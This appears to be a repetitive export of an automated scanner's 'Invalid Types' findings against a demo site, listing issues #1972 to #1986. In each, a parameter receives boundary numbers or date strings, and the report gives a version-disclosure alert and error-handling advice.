<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1972
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# P1Y2M3DT10H30M12.3S
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1973
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1999-05-31T13:20:00.000-05:00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1974
Scan Invalid TypesSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1999-05-31
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1975
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1267896799
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1976
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -882223334991111111
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1977
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -2147483647Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1978
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -32768
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1979Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 127
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1980
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1981
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1982
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1983
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1267896799
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1984
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 882223334991111111
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1985
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 294967295
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since incorrectly typed data inserted into the parameter provoked an  DemoUser1# 
unexpected response, you may want to improve error handling in the code processing this 
input.
Issue Number #1986
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 65535
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
